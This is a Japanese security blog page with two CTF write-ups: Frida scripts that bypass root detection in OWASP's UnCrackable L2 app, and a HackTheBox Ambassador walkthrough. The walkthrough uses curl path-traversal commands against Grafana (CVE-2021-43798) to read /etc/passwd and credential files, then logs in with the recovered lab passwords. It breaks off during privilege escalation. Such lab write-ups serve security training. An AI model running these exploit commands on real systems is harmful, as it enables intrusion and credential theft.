Fridaを使用してOWASPが提供するAndroid用のCTFを解く
株式会社Ninjastars
セキュリティエンジニア:ツヨシ
今回はOWASPが提供するAndroid用のCTF「Android UnCrackable L2」のWriteupを書きたいと思います。
問題は以下のサイトで公開されています。
mas.owasp.org
Androidのルート化検出を回避し、secret stringを見つけることが目標です。
この問題を通して、アプリケーションの脆弱性を診断する上で強力なツールであるFridaの理解や知識を深めていきましょう。
過去にもこのブログでFridaについて紹介した記事が存在しますので、そちらもよろしければご覧ください。
www.ninjastars-net.com
使用するツール
- Frida 16.0.10
- jadx version: 1.4.5
ルート化検出の回避
早速APKをAndroid端末にインストールしてアプリケーションを起動してみましょう。

しかし起動直後にルート化を検知したことを警告するアラートが表示されてしまいます。
「OK」を押すとアプリが終了してしまい、このままでは先に進めることができません。
この検知機構を何とかバイパスすることが最初の目標となります。
とりあえずjadxなどのAPKファイルを逆コンパイルするツールを用いてソースコードの解析を試みます。
どのメソッドが怪しいか目星をつけるため、アラートに表示される文字列「Root detected!」で検索してみます。
すると、ルート化検知に関わっていそうなクラスを発見することができました。

ここで画像の一番上に表示されている「a」というメソッドに注目してみましょう。
このメソッドは大まかに以下のような流れになっています。
- ルート化検知のアラートダイアログを作成する。
- 「OK」をタップするとJavaのSystemクラスからexitメソッドを呼び出し、アプリを終了させる。
Fridaを使用し2通りの方法で検知をバイパスしてみましょう!
方法1 「a」メソッドを何もしないメソッドに置き換える
おそらく最も簡単な方法は「a」メソッドを何もしないメソッドに置き換えて、アラートを表示させなくすることでしょう。
jadxではメソッド名を右クリックし、「Copy as frida snippet」を選択することで簡単にFridaでメソッドを改ざんするコードが得られます。
以下のコードのように先ほどコピーしたスニペットを関数の中身をただreturnするだけに変更し、適当な名前のjsファイル(ここでは「bypass.js」)に保存します。
Java.perform(() => { let MainActivity = Java.use("sg.vantagepoint.uncrackable2.MainActivity"); MainActivity["a"].overload('java.lang.String').implementation = function (str) { return; }; });
後はコマンドプロンプトに
frida -U -f owasp.mstg.uncrackable2 -l bypass.js
と入力し、Frida CLIからこのスクリプトを実行するとアラートは表示されず、無事ルート化検知をバイパスすることができました。
方法2 JavaのSystemクラスの「exit」メソッドを置き換える
もう一つは「exit」メソッドを何もしないメソッドに置き換えて、「OK」を押してもアプリが強制終了しないようにする方法です。
「exit」メソッドは方法1のように「Copy as frida snippet」が使えないため自分でコードを組む必要がありますが、難しいことはなく
「sg.vantagepoint.uncrackable2.MainActivity」クラスが「java.lang.System」クラスに、「a」メソッドが「exit」メソッドに変わるだけです。
Java.perform(() => { let System = Java.use("java.lang.System"); System["exit"].overload('int').implementation = function (a) { return; }; });
方法1と同様にこのスクリプトを実行すると「OK」を押してもアプリが実行され続けるため、ルート化検知をバイパスできました。
secret stringを見つける
さて、無事ルート化検知をバイパスすることができたので次はsecret stringを探し出しましょう。
先ほどの「a」メソッドと同じクラス内に「verify」といういかにもなメソッドがあるので、それを深堀りしていきましょう。

どうやら、「this.m.a(obj)」の返り値の真偽によって入力した文字列がsecret stringであるかどうかを判定しているようです。
「this.m」は「CodeCheck」のインスタンスなので「CodeCheck」クラスを見てみましょう。

最終的にはネイティブメソッドの「bar」の返り値の真偽がsecret stringであるかどうかの判定に関わっていることが分かりました。
「bar」の処理はAPKの共有ライブラリフォルダ内にある「libfoo.so」に存在します。
この記事ではAArch64(ARM64)の「libfoo.so」をGhidraを用いて解析します。
Ghidraで「libfoo.so」を開くと、「Java_sg_vantagepoint_uncrackable2_CodeCheck_bar」というシンボルの関数が見つかり、これが「bar」メソッドの正体だということが推測できます。

コード内の「strncmp」は文字列同士を比較する関数であるため、ここで入力した文字列とsecret stringを比較しているという検討がつきます。
変数「local_50」に格納された文字列をGhidra上で読み取ることも可能ですが、今回はここでもFridaを使用して動的にsecret stringを取得してみましょう。

Ghidraの逆アセンブリされたコードを見てみると、「strncmp」でもともとx21レジスタに格納された文字列とスタックポインタに格納された文字列を比較しているということが分かります。
また、「strcmp」以前でスタックポインタが関与する操作は「libfoo.so」からオフセット「0xe14」で終わっています。
そこでFridaで「libfoo.so」からオフセット「0xe18」のアドレスをフックし、スタックポインタに格納された値を読み取ってみましょう。
ルート検知のバイパスに使用したスクリプトに以下のコードを書き加えます。
let libfoo = Module.getBaseAddress("libfoo.so"); let targetAddr = libfoo.add(0xE18); Interceptor.attach(targetAddr,{ onEnter:function(args){ console.log(this.context.sp.readCString()); }, });
Fridaでは「this.context」で特定のレジスタの値を読み取ることが可能です。
今回は「this.context.sp」でスタックポインタに格納された値を読み取り、その値が示すメモリ上の文字列を「readCString」で読み取ります。
Frida CLI上でスクリプトを実行し、アプリの入力欄に適当な文字を入れて「VERIFY」を押してみましょう。

上記の画像のようにスタックポインタに格納された値は「Thanks for all the fish」であることが分かりました。
試しにこの文字列を入力して「VERIFY」を押すと「Success!」というアラートが表示されます。
これにて「Android UnCrackable L2」はクリアとなります。お疲れ様でした。
まとめ
いかがだったでしょうか。今回はなるべくFridaの機能を活かした解答方法を書かせていただきました。
この解説を通してFridaというツールの有用性や、アプリケーションの実行ロジックを追う楽しさを少しでも知っていただけたら幸いです。
アプリケーション診断やゲームセキュリティ診断などをご希望の方は、ぜひ一度弊社にお問い合わせください!
ninjastars.ninja
注意事項
本記事に記載されている内容を許可されていないアプリケーションに対して実行すると、犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたアプリケーションに対してのみ実施するようにしてください。
本レポートについて
お問い合せ
E-mail: engineer@ninjastars-net.com
株式会社Ninjastars セキュリティエンジニア
ツヨシ
HackTheBoxにてペネトレーションテストを学ぶ
株式会社Ninjastars
セキュリティエンジニア:ミナト
今回はHackTheBoxと呼ばれるプラットフォームにて、ペネトレーションテストやOffensive Securityを学ぶことができるCTF「Machines」のWriteupを書きたいと思います。
HackTheBoxとは、サイバーセキュリティトレーニングのためのオンラインプラットフォームであり、ペネトレーションテストだけでなくサイバーセキュリティに関する様々なスキルを身に付けることが可能です。
app.hackthebox.com
今回はペネトレーションテストについて学ぶために、「Machines」の中の1つである「Ambassador」のWriteupを書きます。
「Ambassador」は初心者~中級者向けのmachineであり、本記事にてペネトレーションテストを知らないエンジニアの方に、ペネトレーションテストのイメージをしていただければ幸いです。また、セキュリティエンジニアの方にとっても本記事より何か学ぶ点などがありましたらありがたい限りです。
*「Ambassador」は retired machine であり、ご自身で挑戦される際にはHackTheBoxのサブスクリプションに登録する必要があります。

環境
筆者の環境では Kali Linux を使用したため、本記事で使用しているツールが読者の方の環境にインストールされていない可能性がありますが、ご了承ください。
デフォルトで Kali Linux にインストールされていないツールも使用していますが、適宜皆様でインストールお願いいたします。
Writeup
では早速始めていきましょう。
まずはペネトレーションテスト(外部サーバーへの侵入)の大まかな流れを整理したいと思います。
- ポートスキャンを実行
- 開放された各ポートにて稼働するサービスの調査
- 各サービスの既知の脆弱性(CVE)を調査
- 各サービスのゼロデイの脆弱性を調査
- 発見した脆弱性をエクスプロイト
- 権限の低いユーザーのシェルを獲得(サーバーへの侵入)
- サーバー内部の脆弱性をエクスプロイトし、権限を昇格
こちらの流れはケースバイケースで変更になることもありますが、大きな流れとしては上記のようになります。
ポートスキャン
では、TCPのオープンポートを見ていきましょう。
今回は「RustScan」と呼ばれるポートスキャンツールを使用します。
*今回はUDPのポートスキャンを割愛しています。実際のCTFやペネトレーションテストではTCPだけでなくUDPのポートを確認することも大切です。
コマンドは下記の様になります。
┌──(kali㉿kali)-[~] └─$ rustscan -a 10.10.11.183 -b 300 -r 0-65535 -t 5000 -- -A
ポートスキャンの結果は下記の様になりました。
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 29dd8ed7171e8e3090873cc651007c75 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLYy5+VCwR+2NKWpIRhSVGI1nJQ5YeihevJqIYbfopEW03vZ9SgacRzs4coGfDbcYa+KPePbz2n+2zXytEPfzBzFysLXgTaUlDFcDqEsWP9pJ5UYFNfXqHCOyDRklsetFOBcxkgC8/IcHDJdJQTEr51KLF75ZXaEIcjZ+XuQWsOrU5DJPrAlCmG12OMjsnP4OfI4RpIjELuLCyVSItoin255/99SSM3koBheX0im9/V8IOpEye9Fc2LigyGA+97wwNSZG2G/duS6lE8pYz1unL+Vg2ogGDN85TkkrS3XdfDLI87AyFBGYniG8+SMtLQOd6tCZeymGK2BQe1k9oWoB7/J6NJ0dylAPAVZ1sDAU7KCUPNAex8q6bh0KrO/5zVbpwMB+qEq6SY6crjtfpYnd7+2DLwiYgcSiQxZMnY3ZkJiIf6s5FkJYmcf/oX1xm/TlP9qoxRKYqLtEJvAHEk/mK+na1Esc8yuPItSRaQzpCgyIwiZCdQlTwWBCVFJZqrXc= | 256 80a4c52e9ab1ecda276439a408973bef (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFgGRouCNEVCXufz6UDFKYkcd3Lmm6WoGKl840u6TuJ8+SKv77LDiJzsXlqcjdeHXA5O87Us7Npwydhw9NYXXYs= | 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINujB7zPDP2GyNBT4Dt4hGiheNd9HOUMN/5Spa21Kg0W 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-title: Ambassador Development Server |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-generator: Hugo 0.94.2 3000/tcp open ppp? syn-ack | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:48 GMT | Content-Length: 29 | href="/login">Found</a>. | GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:12 GMT | Content-Length: 29 | href="/login">Found</a>. | HTTPOptions: | HTTP/1.0 302 Found | Cache-Control: no-cache | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:19 GMT |_ Content-Length: 0 3306/tcp open mysql syn-ack MySQL 8.0.30-0ubuntu0.20.04.2 | mysql-info: | Protocol: 10 | Version: 8.0.30-0ubuntu0.20.04.2 | Thread ID: 11 | Capabilities flags: 65535 | Some Capabilities: SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, Support41Auth, SupportsLoadDataLocal, FoundRows, ODBCClient, LongColumnFlag, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, LongPassword, InteractiveClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: ;;]n'`F8O|GU+ &PR_*< |_ Auth Plugin Name: caching_sha2_password
Port22, 80, 3000, 3306の4つが開放されていることが判明しました。
ではそれぞれ確認していきましょう。
Port22
Port22ではお決まりのOpenSSHが稼働しています。
ことCTFにおいて、Port22に脆弱性が存在する可能性は極めて低いです。
Port22(SSH)にて取り急ぎ確認すべきことは大きく分けて下記の2つであると考えています。
- ユーザーネームとパスワードのブルートフォース攻撃
- SSHサーバー(今回であればOpenSSH)自体に存在する脆弱性への攻撃
今回はどちらの攻撃手法に対しても脆弱ではないため、次のポートに移りたいと思います。
SSHへの攻撃手法について詳しく知りたい方は、こちらの記事が参考になります。
book.hacktricks.xyz
Port80
では次にPort80を見ていきましょう。
ブラウザにてアクセスすると、「Ambassador Development Server」というブログが確認できます。

ブログの中身を見てみると特に重要な情報はなく、「developer」というユーザーがサーバー上に存在することだけが確認できます。

ポートスキャンの結果などから分かるように、Port80では「Hugo」と呼ばれる静的サイトジェネレーターが使用されています。
静的なWebサイトとなると、ユーザーがインプットする箇所がなく攻撃箇所がないと判断することが可能です。
*ユーザーがインプットできる箇所がないからといって、エクスプロイトできないとは限らないです。但しCTFにおいては、静的なWebサイトを起点としたサーバーへの侵入の確率はかなり低いと考えます。
ディレクトリブルートフォース
興味深いサブディレクトリが存在する可能性があるので、ブルートフォースしてみましょう。
「dirsearch」でサブディレクトリのブルートフォースを実行します。
┌──(kali㉿kali)-[~] └─$ dirsearch -u http://10.10.11.183/
結果は下記の様になりました。特に興味深いディレクトリは発見されませんでした。
Target: http://10.10.11.183/ [00:43:18] Starting: [00:43:27] 403 - 277B - /.htaccess.save [00:43:27] 403 - 277B - /.htaccess.sample [00:43:27] 403 - 277B - /.htaccessOLD [00:43:27] 403 - 277B - /.htaccess.bak1 [00:43:27] 403 - 277B - /.htaccess_sc [00:43:27] 403 - 277B - /.htaccessBAK [00:43:27] 403 - 277B - /.htaccess_orig [00:43:27] 403 - 277B - /.htaccessOLD2 [00:43:27] 403 - 277B - /.htaccess_extra [00:43:27] 403 - 277B - /.htaccess.orig [00:43:27] 403 - 277B - /.ht_wsr.txt [00:43:27] 403 - 277B - /.htpasswd_test [00:43:27] 403 - 277B - /.htpasswds [00:43:27] 403 - 277B - /.html [00:43:27] 403 - 277B - /.htm [00:43:27] 403 - 277B - /.httr-oauth [00:43:36] 200 - 2KB - /404.html [00:44:13] 301 - 317B - /categories -> http://10.10.11.183/categories/ [00:44:35] 200 - 993B - /images/ [00:44:35] 301 - 313B - /images -> http://10.10.11.183/images/ [00:44:36] 200 - 4KB - /index.html [00:44:37] 200 - 1KB - /index.xml [00:45:02] 301 - 312B - /posts -> http://10.10.11.183/posts/ [00:45:09] 403 - 277B - /server-status [00:45:09] 403 - 277B - /server-status/ [00:45:12] 200 - 645B - /sitemap.xml [00:45:17] 301 - 311B - /tags -> http://10.10.11.183/tags/
今回は以上でディレクトリのブルートフォースを終了しますが、実際のCTFやペネトレーションテストでは様々なワードリストを試行することをお勧めします。あるワードリストではヒットしなかったものが、別のワードリストであればヒットするというのは非常によくある話なのです。
このGitHubのレポジトリに様々なワードリストがあるので、良かったら覗いてみてください。
github.com
Port3000
では次にPort3000を見てみましょう。
Port3000は Well Known Port ではないですし、定番なポート番号でもないので netcat を使用して接続してみます。
┌──(kali㉿kali)-[~] └─$ nc 10.10.11.183 3000 -v ambassador.htb [10.10.11.183] 3000 (?) open hello HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request
上記コマンドで接続後、"hello"というデータを送信してみると、HTTPレスポンスが返ってきました。
ということで、ブラウザよりPort3000にアクセスしてみましょう。

どうやら「Grafana」と呼ばれるサービスが稼働しているようです。
上記画像を見ると、バージョン情報が記載されているのがわかります。
このバージョンのGrafanaに脆弱性が存在するか検索してみましょう。

すると、「Directory Traversal and Arbitrary File Read」ということで「ディレクトリトラバーサルと任意ファイルの読み取り」が可能であることが判明しました。
この脆弱性はCVE-2021-43798として登録されています。
nvd.nist.gov
エクスプロイトコードが公開されていますので、そのPoCを基に実際にエクスプロイトしてみましょう。
今回はエクスプロイトコードを「Exploit-DB」より取得しました。
少し余談ですが、今回のように公開から一定期間経過した脆弱性のエクスプロイトコードは、公になることが多々あります。
エクスプロイトコードはダークウェブでのみ流通していると思われる方もいらっしゃるかもしれませんが、誰でも簡単にエクスプロイトコードにアクセスが可能であるということを頭に入れておいていただければと思います。
話を戻して、ディレクトリトラバーサルをエクスプロイトしてシェルをとりましょう。
まず、先ほどのエクスプロイトコードを見てみます。
www.exploit-db.com
エクスプロイトコードに関する詳しい解説はここでは省略しますが、シンプルに下記のcurlコマンドでエクスプロイトすることが可能です。
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/passwd
*プラグインの名前に関しては、今回は histogram を選択しました。他のプラグインでも本環境のGrafanaにインストールされていれば問題ありません。運が悪いと複数回のTrial and Errorになるかもしれません。
上記コマンドにて、ディレクトリトラバーサルが可能であることが確認できました。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin developer:x:1000:1000:developer:/home/developer:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false grafana:x:113:118::/usr/share/grafana:/bin/false mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false consul:x:997:997::/home/consul:/bin/false
更に /etc/passwd の内容より、Port80で発見した「developer」というユーザーがサーバー上に存在することが確定しました。
では次にどのファイルの内容を読み取るべきかを考えましょう。
私がディレクトリトラバーサルやLFI(Local File Inclusion)に遭遇した際には、下記の様なファイルを確認します。
/etc/passwd /etc/shadow /etc/motd /home/<username>/.ssh/id_rsa /home/<username>/.bash_history /proc/self/environ /proc/sched_debug /var/www/logs/access_log /var/www/logs/access.log 稼働サービスのconfigファイル
上記ファイルは一例ですが、これらのファイルを順に閲覧して情報を収集します。
他にどのようなファイルをチェックすべきなのか気になる方は、下記リンクを参照してください。ここではWindowsサーバーにおけるセンシティブなファイルも記載されています。
sushant747.gitbooks.io
結論から言うと今回は、Grafanaのconfigファイルを読み取ることが正解でした。
では実際に確認してみましょう。
Grafanaのconfigファイルは /etc/grafana/grafana.ini なので、ディレクトリトラバーサルを利用して読み取ります。
*Grafanaのconfigファイルは、こちらのドキュメントより判明しました。
Configure Grafana | Grafana documentation
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini
上記コマンドより、grafana.ini を読み取ることに成功しました。
そして、admin という文字列でgrepすることによって、ユーザーネームとパスワードを取得しました。
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini | grep admin # default admin user, created on startup ;admin_user = admin # default admin password, can be changed before first start of grafana, or in profile settings admin_password = messageInABottle685427
では上記のクレデンシャル(admin:messageInABottle685427)にて、Grafanaにログインします。

ログインに成功しました。
Grafana内をいろいろと探索してみると、mysql.yaml と呼ばれる Data Source を発見しました。

mysql.yaml では、MySQLへのコネクションが定義されているようです。
MySQLのユーザーネームは grafana であることが確認できますが、パスワードが表示されていません。
GUI上でのパスワード変更を試みましたが、下記の様に書かれているため変更は不可能なようです。
This data source was added by config and cannot be modified using the UI. Please contact your server admin to update this data source.
ただ私たちには、ディレクトリトラバーサルという武器があるため、mysql.yaml を読み取ってみましょう。
mysql.yaml は /etc/grafana/provisioning/datasources/ ディレクトリに存在します。
*Grafanaの data source ディレクトリは、こちらのドキュメントより判明しました。
Provision Grafana | Grafana documentation
┌──(kali㉿kali)-[~] └─$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml datasources: - name: mysql.yaml type: mysql host: localhost database: grafana user: grafana password: dontStandSoCloseToMe63221! editable: false
ディレクトリトラバーサルにて、MySQLのクレデンシャルを取得することができました。
Port3306
では上記クレデンシャル(grafana:dontStandSoCloseToMe63221!)にて、MySQLにログインしましょう。
┌──(kali㉿kali)-[~] └─$ mysql -h 10.10.11.183 -u grafana -p'dontStandSoCloseToMe63221!'
どのようなデータベースがあるのか見てみます。
whackywidget と呼ばれるデータベースがあるので覗いてみます。
mysql> show databases; +--------------------+ | Database | +--------------------+ | grafana | | information_schema | | mysql | | performance_schema | | sys | | whackywidget | +--------------------+ 6 rows in set (0.10 sec)
mysql> show tables; +------------------------+ | Tables_in_whackywidget | +------------------------+ | users | +------------------------+ 1 row in set (0.08 sec)
users というテーブルがありました。
mysql> select * from users; +-----------+------------------------------------------+ | user | pass | +-----------+------------------------------------------+ | developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | +-----------+------------------------------------------+ 1 row in set (0.09 sec)
やりました。ついに developer ユーザーのパスワードを取得しました。
上記パスワードはBase64でエンコードされているため、デコードしましょう。
┌──(kali㉿kali)-[~] └─$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d anEnglishManInNewYork027468
無事にパスワードを取得しました。
サーバーへの侵入
取得したクレデンシャル(developer:anEnglishManInNewYork027468)にて、SSHログインします。
┌──(kali㉿kali)-[~] └─$ sshpass -p 'anEnglishManInNewYork027468' ssh developer@10.10.11.183

サーバーへの侵入に成功しました。
権限昇格
それでは権限昇格に移ります。
developer ユーザーはこのサーバーにおける最高権限を持っていません。
例えば /root ディレクトリに移動しようとすると、下記の様に Permission denied されます。
developer@ambassador:~$ cd /root
-bash: cd: /root: Permission denied
ではまず、root ユーザーへと権限を昇格するために、Linuxサーバー内の情報を収集しましょう。
私がまず権限昇格の情報を集めるために使用するツールが「LinPEAS」です。
github.com

上記画像の様に、様々な情報を色付けして出力してくれます。
今回は詳しくは触れませんが、LinPEAS は大量の情報を出力してくれるため、このツールだけで権限昇格の道が開けることも多々あります。
では私が実際に実行した権限昇格の方法をお伝えします。
/opt ディレクトリに移動して、何か興味深いソフトウェアがインストールされていないかを確認します。
developer@ambassador:/$ cd /opt developer@ambassador:/opt$ ls consul my-app
consul と my-app という2つのディレクトリがありました。
consul について検索してみると、「Consul」と呼ばれる、分散システムにおける様々な機能を提供するオープンソースのネットワークサービスソフトウェアであることが判明しました。
更に、「consul privilege escalation」で検索してみると、RCE(リモートコード実行)の脆弱性が存在する可能性があることが分かりました。
*本脆弱性の詳細について詳しく知りたい方は、ご自身で調査していただければと思います。本記事ではエクスプロイトする方法のみをお伝えします。
HashiCorp社の記事によると下記の3つの条件が満たされた場合、RCE(リモートコード実行)が可能になるそうです。
- The API is available on an interface that can be accessed over the network.
- Script checks are enabled.
- ACLs are disabled or an ACL token is compromised.
1つずつ確認しましょう。
The API is available on an interface that can be accessed over the network
まずはAPIにアクセスできるかどうかです。
公式ドキュメントによると、Port8500でHTTP APIにアクセスできるようです。
developer.hashicorp.com
まずはPort8500が開いているか確認してみましょう。
developer@ambassador:/opt/consul$ netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN tcp 0 208 10.10.11.183:22 10.10.14.17:49690 ESTABLISHED tcp 0 0 127.0.0.1:8300 127.0.0.1:46313 ESTABLISHED tcp 0 0 127.0.0.1:8300 127.0.0.1:49447 ESTABLISHED tcp 0 0 127.0.0.1:46313 127.0.0.1:8300 ESTABLISHED tcp 0 0 127.0.0.1:49447 127.0.0.1:8300 ESTABLISHED tcp 0 1 10.10.11.183:41320 8.8.8.8:53 SYN_SENT tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::3000 :::* LISTEN udp 0 0 127.0.0.1:8600 0.0.0.0:* udp 0 0 127.0.0.1:53129 127.0.0.53:53 ESTABLISHED udp 0 0 127.0.0.53:53 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 127.0.0.1:8301 0.0.0.0:* udp 0 0 127.0.0.1:8302 0.0.0.0:*
Port8500が開いていることが分かりました。
ではSSHトンネルを実行して、curlでAPIを叩いてみます。
┌──(kali㉿kali)-[~] └─$ ssh -N -L 8500:localhost:8500 developer@10.10.11.183 ┌──(kali㉿kali)-[~] └─$ curl http://127.0.0.1:8500 Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.
これで Consul API にリクエスト可能であることが判明しました。
Script checks are enabled
では次の条件に移りましょう。
Script checks が有効になっているかどうかです。
Consulのconfigファイルを見てみましょう。
developer@ambassador:/opt/consul$ cat /etc/consul.d/consul.hcl | grep script #retry_join = ["provider=azure tag_name=... tag_value=... tenant_id=... client_id=... subscription_id=... secret_access_key=..."] enable_script_checks = true
enable_script_checks がtrueになっており、Script checks が有効になっていることが判明しました。
ACLs are disabled or an ACL token is compromised
最後の条件に移りましょう。
ACLsが無効になっている、またはACLトークンが漏洩しているかのどちらかです。
ACLs(Access Control Lists)が無効になっていないかをまず確認します。
先程と同様にconfigファイルより検索します。
developer@ambassador:~$ cat /etc/consul.d/consul.hcl | grep -A 5 acl acl { enabled = true default_policy = "deny" down_policy = "extend-cache" }
ACLsは有効になっているようです。
ではACLトークンを取得する方向に切り替えます。
/opt ディレクトリ内に存在した /my-app ディレクトリを覗いてみましょう。
developer@ambassador:/opt/my-app$ ls env whackywidget developer@ambassador:/opt/my-app$ cd whackywidget/ developer@ambassador:/opt/my-app/whackywidget$ ls manage.py put-config-in-consul.sh whackywidget developer@ambassador:/opt/my-app/whackywidget$ cat put-config-in-consul.sh # We use Consul for application config in production, this script will help set the correct values for the app # Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
いろいろと探索してみると、my-app ではConsulを使用しているようです。
更に、put-config-in-consul.sh の中身を見てみると、CONSUL_HTTP_TOKEN という環境変数が使用されています。
この環境変数がACLトークンと同一であることが公式ドキュメントに記載されています。
developer.hashicorp.com
/opt/my-app ディレクトリでlsコマンドを実行してみると、.gitディレクトリが存在することが判明しました。
developer@ambassador:/opt/my-app$ ls -la total 24 drwxrwxr-x 5 root root 4096 Mar 13 2022 . drwxr-xr-x 4 root root 4096 Sep 1 2022 .. drwxrwxr-x 4 root root 4096 Mar 13 2022 env drwxrwxr-x 8 root root 4096 Mar 14 2022 .git -rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
つまり、Gitレポジトリであることが分かります。
Gitレポジトリであれば、過去にハードコードされたACLキーを取得することができる可能性があります。
git show コマンドで確認してみましょう。
developer@ambassador:/opt/my-app$ git show commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main) Author: Developer <developer@ambassador.local> Date: Sun Mar 13 23:47:36 2022 +0000 tidy config script diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh index 35c08f6..fc51ec0 100755 --- a/whackywidget/put-config-in-consul.sh +++ b/whackywidget/put-config-in-consul.sh @@ -1,4 +1,4 @@ # We use Consul for application config in production, this script will help set the correct values for the app -# Export MYSQL_PASSWORD before running +# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running -consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD +consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
